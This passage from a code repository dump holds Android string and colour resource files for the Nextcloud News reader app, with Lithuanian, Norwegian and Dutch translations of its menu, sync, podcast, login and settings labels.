name=\"array_sync_interval_min_30\">30 minučių</string>\n    <string name=\"array_sync_interval_min_45\">45 minutės</string>\n    <string name=\"array_sync_interval_hour_1\">1 valanda</string>\n    <string name=\"array_sync_interval_hour_2\">2 valandos</string>\n    <string name=\"array_sync_interval_hour_3\">3 valandos</string>\n    <string name=\"array_sync_interval_hour_6\">6 valandos</string>\n    <string name=\"array_sync_interval_hour_12\">12 valandų</string>\n    <string name=\"array_sync_interval_hour_24\">24 valandos</string>\n    <string name=\"switch_account\">Perjungti paskyrą</string>\n    \n    <string name=\"successfully_exported\">Sėkmingai eksportuota į:</string>\n    <string name=\"opml_export\">Eksportavimas į OPML</string>\n    <string name=\"parsing_opml\">OPML apdorojimas</string>\n    <string name=\"please_wait\">Palaukite…</string>\n    <string name=\"interval_sync_title\">Intervalų sinchronizavimas</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-nb-rNO/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Autosynk</string>\n    <string name=\"title_activity_sync_interval_selector\">Synkroniseringsintervall</string>\n    <string name=\"empty_view_content\">Ingenting her</string>\n    <string name=\"empty_view_content_action\">Dra ned for å oppdatere</string>\n    <string name=\"toast_GettingMoreItems\">Nedlasting av flere elementer startet. Vennligst vent...</string>\n    <string name=\"no_wifi_available\">Ingen WiFI tilkoblet</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Ønsker du å laste ned bildene uten å være koblet til inernett?</string>\n    <string name=\"current_version\">Du bruker versjon %s</string>\n    <string name=\"widget_header\">Nextcloud nyheter</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nytt element tilgjengelig</item>\n        <item quantity=\"other\">%d nye elementer tilgjengelig</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Last på nytt</string>\n    <string name=\"allUnreadFeeds\">Alle uleste elementer</string>\n    <string name=\"starredFeeds\">Stjernemerkede elementer</string>\n    <string name=\"downloadedPodcasts\">Nedlastede podkaster</string>\n    <string name=\"title_activity_new_feed\">Legg til ny strøm</string>\n\n    <string name=\"menu_update\">Oppdater</string>\n    <string name=\"menu_markAllAsRead\">Marker alle som lest</string>\n    <string name=\"menu_StartImageCaching\">Last ned bilder</string>\n    <string name=\"menu_downloadMoreItems\">Last ned flere element</string>\n\n    <string name=\"tv_showing_cached_version\">Viser versjon i hurtiglager</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Merket</string>\n    <string name=\"action_read\">Les</string>\n    <string name=\"action_playPodacst\">Spill podkast</string>\n    <string name=\"action_removePodcast\">Fjern Podkast Media</string>\n    <string name=\"action_openInBrowser\">Åpne i nettleser</string>\n    <string name=\"action_Share\">Del</string>\n    <string name=\"action_login\">Serverinnstillinger</string>\n    <string name=\"action_save\">Lagre</string>\n    <string name=\"action_settings\">Innstillinger</string>\n    <string name=\"action_sync_settings\">Innstillinger for synkronisering</string>\n    <string name=\"action_add_new_feed\">Legg til ny strøm</string>\n    <string name=\"action_add_new_folder\">Legg til en ny mappe</string>\n    <string name=\"action_textToSpeech\">Les opp</string>\n    <string name=\"action_search\">Søk</string>\n    <string name=\"action_download_articles_offline\">Last ned artikler offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Last ned artikler for offline lesning</string>\n    <string name=\"notification_download_images_offline\">Last ned bilder for offline visning</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Du har %d nytt ulest element</item>\n        <item quantity=\"other\">Du har %d nye uleste elementer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nytt ulest element tilgjengelig</item>\n        <item quantity=\"other\">%d nye uleste elementer tilgjengelig</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Strøm-URL</string>\n    <string name=\"action_add_feed\">Legg til strøm</string>\n    <string name=\"import_opml\">Importer OPML</string>\n    <string name=\"export_opml\">Eksporter OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Last ned bilde</string>\n    <string name=\"action_img_sharelink\">Del bildelenke</string>\n    <string name=\"action_img_open\">Åpne bilde i nettleser</string>\n    <string name=\"action_img_copylink\">Kopier bildelenke</string>\n    <string name=\"action_link_share\">Del lenke</string>\n    <string name=\"action_link_open\">Åpne lenke i nettleser</string>\n    <string name=\"action_link_copy\">Kopier lenke</string>\n    <string name=\"toast_img_download_wait\">Laster ned. Vennligst vent ...</string>\n    <string name=\"toast_img_saved\">Bilde er lagret</string>\n    <string name=\"toast_img_notwriteable\">Klarte ikke å skrive bilde.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopiert til utklippstavlen</string>\n    <string name=\"error_download_failed\">Nedlasting feilet</string>\n    <string name=\"intent_title_share\">Del via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Fjern strøm</string>\n    <string name=\"action_feed_rename\">Omdøp strøm</string>\n    <string name=\"action_feed_move\">Flytt strøm</string>\n    <string name=\"action_feed_notification_settings\">Innstillinger for notifiseringer</string>\n    <string name=\"action_feed_open_in\">Åpningsinnstillinger</string>\n    <string name=\"action_feed_open_in_general_setting\">Bruk generell innstilling</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detaljert visning</string>\n    <string name=\"feed_remove_button\">Fjern</string>\n    <string name=\"feed_rename_button\">Gi nytt navn</string>\n    <string name=\"confirm_feed_remove\">Vil du fjerne denne strømmen? Dette kan ikke angres!</string>\n    <string name=\"feed_move_list_description\">Velg katalog å flytte strøm til</string>\n    <string name=\"move_feed_root_folder\">Root katalog</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Fjern mappe</string>\n    <string name=\"action_folder_rename\">Gi mappen nytt navn</string>\n    <string name=\"folder_remove_button\">Fjern</string>\n    <string name=\"folder_rename_button\">Endre navn</string>\n    <string name=\"confirm_folder_remove\">Er du sikker på at du vil fjerne denne mappen? Dette kan ikke angres!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Motta unike varsler for denne feeden</string>\n    <string name=\"notification_feed_default\">Alle feeder med standardinnstillingene vises i ett varsel</string>\n    <string name=\"notification_feed_none\">Ingen varsler</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Legg til</string>\n    <string name=\"hint_folder_name\">Mappenavn</string>\n    <string name=\"folder_already_exists\">Mappen finnes allerede</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manuell innlogging</string>\n    <string name=\"login_sso\">Logg inn via Nextcloud filer app</string>\n    <string name=\"pref_title_username\">Brukernavn</string>\n    <string name=\"pref_title_password\">Passord</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud rot adresse</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Logg inn</string>\n    <string name=\"login_progress_signing_in\">Logger inn ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Dette feltet er påkrevd</string>\n    <string name=\"error_invalid_url\">Ugyldig URL</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Lastet ned %d gammelt element</item>\n        <item quantity=\"other\">Lastet ned %d gamle elementer</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Ingen flere elemeter tilgjengelig</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Hentet %d element så langt…</item>\n        <item quantity=\"other\">Hentet %d elementer så langt…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Innstillinger</string>\n    <string name=\"cache_is_cleared\">Mellomlager er nullstilt!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Generelt</string>\n    <string name=\"pref_title_general_sort_order\">Sorteringsrekkefølge</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Ny → Gammel</string>\n    <string name=\"pref_general_sort_order_old_new\">Gammel → Ny</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Handling ved sveiping til høyre</string>\n    <string name=\"pref_rename_action_swipe_left\">Handling ved sveiping til venstre</string>\n\n    <string name=\"pref_title_general_search_in\">Søk i</string>\n\n    <string name=\"pref_general_search_in_title\">Tittel</string>\n    <string name=\"pref_general_search_in_body\">Kropp</string>\n    <string name=\"pref_general_search_in_both\">Begge</string>\n\n    <string name=\"dialog_clearing_cache\">Tømmer hurtiglager</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Tømmer cache. Vennligst vent …</string>\n    <string name=\"reset_cache_unsaved_changes\">Det er usynkroniserte endringer i hurtiglagret, skal det nullstilles likevel?</string>\n    <string name=\"warning\">Advarsel</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synkroniser under oppstart</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Vis kun uleste artikler</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deaktiver kontroll av vertsnavn</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Naviger med volumknappene</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Merk som lest når du scroller</string>\n    <string name=\"pref_title_ShowFastActions\">Aktiver funksjoner for rask tilgang</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Dropp detaljert visning og åpne artikkel i nettleser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Tilbake-knappen åpner skuffen</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Aksepter ukjent sertifikat?</string>\n    <string name=\"mtm_decision_always\">Alltid</string>\n    <string name=\"mtm_decision_abort\">Avbryt</string>\n    <string name=\"mtm_notification\">Verifiser sertifikat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ingen podkast valgt</string>\n    <string name=\"no_chapters_available\">Ingen kapitler tilgjengelig</string>\n    <string name=\"exit_playback\">Lukk avspiller</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Avspillingshastighet</string>\n    <string name=\"notification_downloading_podcast_title\">Last ned podkast</string>\n    <string name=\"dialog_podcast_remove_title\">Er du sikker?</string>\n    <string name=\"dialog_podcast_remove_body\">Vil du fjerne nedlastede medier for %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Fjerning av medier for %1$s feilet</string>\n    <string name=\"dialog_podcast_status_success\">Medier for %1$s er fjernet</string>\n    <string name=\"dialog_podcast_remove_confirm\">Fjern</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Om</string>\n    <string name=\"pref_license\">Lisens</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Rapporter et problem</string>\n    <string name=\"pref_report_issue_summary\">Krever en (gratis) GitHub konto</string>\n    <string name=\"pref_contribute\">Bidra!</string>\n    <string name=\"pref_contribute_summary\">Hent kildekode</string>\n    <string name=\"pref_privacy\">Personvern</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android Personvernserklæring</string>\n    <string name=\"pref_news_policy\">Kontakt oss / Retningslinjer for nyheter</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud nyheter / Android retningslinjer for nyheter / Kontakt oss</string>\n    <string name=\"pref_version\">Nextcloud Nyheter Android app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Vis</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Oppsett for strømlista</string>\n    <string name=\"pref_title_font_size\">Font størrelse</string>\n    <string name=\"pref_display_browser\">Nettleser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Handlingsikoner (Detaljvisning)</string>\n\n    <string name=\"pref_display_apptheme_auto\">System standard</string>\n    <string name=\"pref_display_apptheme_light\">Lys</string>\n    <string name=\"pref_display_apptheme_dark\">Mørk</string>\n\n    <string name=\"pref_oled_mode\">Svart bakgrunn</string>\n    <string name=\"pref_oled_mode_summary\">For mørkt tema på OLED skjermer</string>\n\n    <string name=\"pref_external_player\">Ekstern spiller</string>\n    <string name=\"pref_external_player_summary\">Spill av podkaster i din standard medieapp</string>\n\n    <string name=\"pref_display_browser_cct\">Innebygde tilpassede Chrome-faner</string>\n    <string name=\"pref_display_browser_built_in\">Innebygd nettleser</string>\n    <string name=\"pref_display_browser_external\">Ekstern nettleser</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniatyrbilder (bare overskrifter)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Ikon</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Enkel tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Overskrifter</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Full tekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Weboppsett</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kort utsnitt</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Liten</string>\n    <string name=\"pref_display_font_size_d\">Standard</string>\n    <string name=\"pref_display_font_size_l\">Stor</string>\n    <string name=\"pref_display_font_size_xl\">Ekstra stor</string>\n\n    <string name=\"content_desc_play\">Spill</string>\n    <string name=\"content_desc_pause\">Pause</string>\n    <string name=\"content_desc_playback_speed\">Avspillingshastighet</string>\n    <string name=\"content_desc_rewind\">Spole</string>\n    <string name=\"content_desc_forward\">Fremover</string>\n    <string name=\"content_desc_expand\">Ekspander</string>\n    <string name=\"content_desc_collapse\">Skjul</string>\n    <string name=\"content_desc_mark_as_read\">Merk som lest</string>\n    <string name=\"content_desc_mark_as_unread\">Merk som ulest</string>\n    <string name=\"content_desc_tap_to_refresh\">Trykk for å oppdatere</string>\n    <string name=\"content_desc_add_to_favorites\">Legg til i favoritter</string>\n    <string name=\"content_desc_remove_from_favorites\">Fjern fra favoritter</string>\n    <string name=\"content_desc_show_password\">Vis passord</string>\n    <string name=\"content_desc_delete\">Slett</string>\n    <string name=\"content_desc_download\">Last ned</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Feil</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Nyhets tillegg er ikke installert eller aktivert på din server. Følge instruksjonene angitt her for å sette opp din server: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Noe gikk galt :-(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Nettnyhets-appen returnerte versjon \\\"0\\\". Ta en titt på følgende feilrapport: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Denne app-versjonen er ikke kompatibel md Nextcloud nyhetsapp. Vennligst oppgrader denne appen. </string>\n    <string name=\"login_dialog_title_security_warning\">Sikkerhetsadvarsel</string>\n    <string name=\"login_dialog_text_security_warning\">HTTPS er sterkt anbefalt for din sikkerhet. Uten HTTPS kan andre se din trafikk og hente ut innholdet  som for eksempel passord.</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Noe gikk feil, vennligst forsøk på ny.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; synk.</string>\n    <string name=\"pref_title_clearCache\">Slett hurtiglager</string>\n    <string name=\"pref_title_CacheImagesOffline\">Bildehurtiglager er offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maks hurtiglagerstørrelse</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Aldri</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Bare over Wi-Fi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Over WiFi &amp; mobildata</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Spør når ikke tilkoblet Wi-Fi</string>\n\n    <string name=\"array_sync_interval_min_0\">Aldri</string>\n    <string name=\"array_sync_interval_min_5\">5 minutter</string>\n    <string name=\"array_sync_interval_min_15\">15 minutter</string>\n    <string name=\"array_sync_interval_min_30\">30 minutter</string>\n    <string name=\"array_sync_interval_min_45\">45 minutter</string>\n    <string name=\"array_sync_interval_hour_1\">1 time</string>\n    <string name=\"array_sync_interval_hour_2\">2 timer</string>\n    <string name=\"array_sync_interval_hour_3\">3 timer</string>\n    <string name=\"array_sync_interval_hour_6\">6 timer</string>\n    <string name=\"array_sync_interval_hour_12\">12 timer</string>\n    <string name=\"array_sync_interval_hour_24\">24 timer</string>\n    <string name=\"switch_account\">Bytt konto</string>\n    \n    <string name=\"successfully_exported\">Vellykket eksport til:</string>\n    <string name=\"opml_export\">OPML eksport</string>\n    <string name=\"parsing_opml\">Leser OPML</string>\n    <string name=\"please_wait\">Vennligst vent...</string>\n    <string name=\"interval_sync_title\">Ugyldig synkronisering</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-night/booleans.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <bool name=\"isDayMode\">false</bool>\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-night/colors.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <!-- As in android-common -->\n    <color name=\"bg_default\">#121212</color>\n\n    <!-- Generated by android-common -->\n    <color name=\"background\">#1A1C1E</color>\n    <color name=\"error\">#FFB4AB</color>\n    <color name=\"errorContainer\">#93000A</color>\n    <color name=\"inverseOnSurface\">#2F3033</color>\n    <color name=\"inversePrimary\">#00639A</color>\n    <color name=\"inverseSurface\">#E2E2E5</color>\n    <color name=\"onBackground\">#E2E2E5</color>\n    <color name=\"onError\">#690005</color>\n    <color name=\"onErrorContainer\">#FFB4AB</color>\n    <color name=\"onPrimary\">#003353</color>\n    <color name=\"onPrimaryContainer\">#CEE5FF</color>\n    <color name=\"onSecondary\">#233240</color>\n    <color name=\"onSecondaryContainer\">#D5E4F7</color>\n    <color name=\"onSurface\">#E2E2E5</color>\n    <color name=\"onSurfaceVariant\">#C2C7CF</color>\n    <color name=\"onTertiary\">#382A49</color>\n    <color name=\"onTertiaryContainer\">#EEDBFF</color>\n    <color name=\"outline\">#8C9198</color>\n    <color name=\"outlineVariant\">#42474E</color>\n    <color name=\"primary\">#96CCFF</color>\n    <color name=\"primaryContainer\">#004A76</color>\n    <color name=\"scrim\">#000000</color>\n    <color name=\"secondary\">#B9C8DA</color>\n    <color name=\"secondaryContainer\">#3A4857</color>\n    <color name=\"shadow\">#000000</color>\n    <color name=\"surface\">#1A1C1E</color>\n    <color name=\"surfaceVariant\">#42474E</color>\n    <color name=\"tertiary\">#D3BFE6</color>\n    <color name=\"tertiaryContainer\">#4F4061</color>\n\n    <color name=\"primaryTextColor\">@android:color/white</color>\n\n    <color name=\"divider_row_color\">#292929</color>\n\n    <color name=\"options_menu_item_text\">@color/options_menu_item_night</color>\n\n    <color name=\"fast_action_background\">#29486F</color>\n\n    <!-- see also assets/web.css -->\n    <color name=\"news_detail_background_color\">#121212</color>\n    <color name=\"news_detail_background_color_oled\">@android:color/black</color>\n\n    <color name=\"text_medium_emphasis\">#a0ffffff</color>\n\n    <color name=\"rss_item_list_background\">#121212</color>\n\n    <color name=\"widget_background\">#dd000000</color>\n    <color name=\"widget_foreground\">#d8d8d8</color>\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-nl/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto sync</string>\n    <string name=\"title_activity_sync_interval_selector\">Sync Interval</string>\n    <string name=\"empty_view_content\">Geen items hier</string>\n    <string name=\"empty_view_content_action\">Omlaag trekken om te verversen</string>\n    <string name=\"toast_GettingMoreItems\">Downloaden van één of meer zaken gestart. Even geduld ...</string>\n    <string name=\"no_wifi_available\">Geen wifi verbinding</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Wil je de afbeeldingen downloaden zonder Wi-Fi verbinding?</string>\n    <string name=\"current_version\">U gebruikt versie %s</string>\n    <string name=\"widget_header\">Nextcloud nieuws</string>\n    <string name=\"message_bar_scroll_top\">Herladen en scroll naar het begin</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nieuw bericht beschikbaar</item>\n        <item quantity=\"other\">%d nieuwe berichten beschikbaar</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Herladen</string>\n    <string name=\"allUnreadFeeds\">Alle ongelezen berichten</string>\n    <string name=\"starredFeeds\">Gemarkeerde berichten</string>\n    <string name=\"downloadedPodcasts\">Gedownloade podcast</string>\n    <string name=\"title_activity_new_feed\">Voeg nieuwe feed toe</string>\n\n    <string name=\"menu_update\">Vernieuwen</string>\n    <string name=\"menu_markAllAsRead\">Alles als gelezen markeren</string>\n    <string name=\"menu_StartImageCaching\">Downloaden afbeeldingen</string>\n    <string name=\"menu_downloadMoreItems\">Download meer berichten</string>\n\n    <string name=\"tv_showing_cached_version\">Tonen van gecachte versie</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Gemarkeerd</string>\n    <string name=\"action_read\">Lees</string>\n    <string name=\"action_playPodacst\">Afspelen Podcast</string>\n    <string name=\"action_removePodcast\">Verwijder podcast media</string>\n    <string name=\"action_openInBrowser\">Openen in webbrowser</string>\n    <string name=\"action_Share\">Delen</string>\n    <string name=\"action_login\">Serverinstellingen</string>\n    <string name=\"action_save\">Bewaren</string>\n    <string name=\"action_settings\">Instellingen</string>\n    <string name=\"action_sync_settings\">Sync Settings</string>\n    <string name=\"action_add_new_feed\">Voeg nieuwe feed toe</string>\n    <string name=\"action_add_new_folder\">Toevoegen nieuwe map</string>\n    <string name=\"action_textToSpeech\">Voorlezen</string>\n    <string name=\"action_search\">Zoeken</string>\n    <string name=\"action_download_articles_offline\">Download artikelen offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Artikelen downloaden voor offline gebruik</string>\n    <string name=\"notification_download_images_offline\">Afbeeldingen downloaden voor offline gebruik</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">U hebt %d nieuw ongelezen bericht</item>\n        <item quantity=\"other\">Je hebt %d nieuwe ongelezen berichten</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nieuw ongelezen bericht beschikbaar</item>\n        <item quantity=\"other\">%d nieuwe ongelezen berichten beschikbaar</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed URL</string>\n    <string name=\"action_add_feed\">Voeg feed toe</string>\n    <string name=\"import_opml\">Import OPML</string>\n    <string name=\"export_opml\">Export OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Downloaden afbeelding</string>\n    <string name=\"action_img_sharelink\">Delen afbeeldingslink</string>\n    <string name=\"action_img_open\">Open afbeelding in browser</string>\n    <string name=\"action_img_copylink\">Kopiëren afbeeldingslink</string>\n    <string name=\"action_link_share\">Delen link</string>\n    <string name=\"action_link_open\">Openen link in browser</string>\n    <string name=\"action_link_copy\">Kopiëren link </string>\n    <string name=\"toast_img_download_wait\">Downloaden... even geduld ...</string>\n    <string name=\"toast_img_saved\">Afbeelding opgeslagen</string>\n    <string name=\"toast_img_notwriteable\">Opslaan afbeelding mislukt</string>\n    <string name=\"toast_copied_to_clipboard\">Gekopieerd naar het klembord</string>\n    <string name=\"error_download_failed\">Downloaden mislukt</string>\n    <string name=\"intent_title_share\">Delen via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Verwijder feed</string>\n    <string name=\"action_feed_rename\">Hernoem feed</string>\n    <string name=\"action_feed_move\">Verplaats feed</string>\n    <string name=\"action_feed_notification_settings\">Meldingsinstellingen</string>\n    <string name=\"action_feed_open_in\">Open-in instellingen</string>\n    <string name=\"action_feed_open_in_general_setting\">Gebruik globale instelling</string>\n    <string name=\"action_feed_open_in_detailed_view\">Gedetailleerd overzicht</string>\n    <string name=\"feed_remove_button\">Verwijder</string>\n    <string name=\"feed_rename_button\">Naam wijzigen</string>\n    <string name=\"confirm_feed_remove\">Wil je deze feed echt verwijderen? Dit kan niet ongedaan worden gemaakt!</string>\n    <string name=\"feed_move_list_description\">Kies de map om de feed naar te verplaatsen</string>\n    <string name=\"move_feed_root_folder\">Hoofdmap</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Verwijder map</string>\n    <string name=\"action_folder_rename\">Hernoem map</string>\n    <string name=\"folder_remove_button\">Verwijderen</string>\n    <string name=\"folder_rename_button\">Hernoemen</string>\n    <string name=\"confirm_folder_remove\">Wil je deze map echt verwijderen? Dit kan niet ongedaan worden gemaakt!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Ontvang unieke meldingen voor deze feed</string>\n    <string name=\"notification_feed_default\">Alle feeds met standaard instellingen zullen in één melding verschijnen</string>\n    <string name=\"notification_feed_none\">Geen meldingen</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Toevoegen</string>\n    <string name=\"hint_folder_name\">Mapnaam</string>\n    <string name=\"folder_already_exists\">Deze map bestaat al</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Handmatige inlog</string>\n    <string name=\"login_sso\">Login via Nextcloud Bestanden App</string>\n    <string name=\"pref_title_username\">Gebruikersnaam</string>\n    <string name=\"pref_title_password\">Wachtwoord</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud root-adres</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Inloggen</string>\n    <string name=\"login_progress_signing_in\">Inloggen...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Dit veld is verplicht</string>\n    <string name=\"error_invalid_url\">Onjuiste URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d item gemarkeerd als gelezen</item>\n        <item quantity=\"other\">%d items gemarkeerd als gelezen</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Downloaden %d oud bericht</item>\n        <item quantity=\"other\">Downloaden %d oude berichten</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Geen berichten meer beschikbaar</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Tot nu %d onderwerp opgehaald</item>\n        <item quantity=\"other\">Tot nu %d onderwerpen opgehaald</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Instellingen</string>\n    <string name=\"cache_is_cleared\">Cache is leeggemaakt!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Algemeen</string>\n    <string name=\"pref_title_general_sort_order\">Sorteervolgorde</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nieuw → Oud</string>\n    <string name=\"pref_general_sort_order_old_new\">Oud → Nieuw</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Actie bij rechts vegen</string>\n    <string name=\"pref_rename_action_swipe_left\">Actie bij links vegen</string>\n\n    <string name=\"pref_title_general_search_in\">Zoeken in</string>\n\n    <string name=\"pref_general_search_in_title\">Titel</string>\n    <string name=\"pref_general_search_in_body\">Body</string>\n    <string name=\"pref_general_search_in_both\">Beide</string>\n\n    <string name=\"dialog_clearing_cache\">Leegmaken cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Cache opschonen. Even geduld …</string>\n    <string name=\"reset_cache_unsaved_changes\">Er zijn nog niet gesynchroniseerde wijzigingen. Wil je de cache toch resetten?</string>\n    <string name=\"warning\">Waarschuwing</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sync bij opstarten</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Toon alleen ongelezen artikelen</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deactiveren Hostname verificatie</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigeren met volumeknoppen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Markeren als gelezen bij scrollen</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sync als naar beneden gescrolld</string>\n    <string name=\"pref_title_ShowFastActions\">Snelle toegangsfuncties activeren</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Sla detailvoorbeeld over en open artikel in browser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Terug knop opent lade</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Onbekend certificaat accepteren?</string>\n    <string name=\"mtm_decision_always\">Altijd</string>\n    <string name=\"mtm_decision_abort\">Afbreken</string>\n    <string name=\"mtm_notification\">Certificaat verificatie</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Geen podcast geselecteerd</string>\n    <string name=\"no_chapters_available\">Geen hoofdstukken beschikbaar</string>\n    <string name=\"exit_playback\">Speler verlaten</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Afspeelsnelheid</string>\n    <string name=\"notification_downloading_podcast_title\">Downloaden podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Weet je het zeker?</string>\n    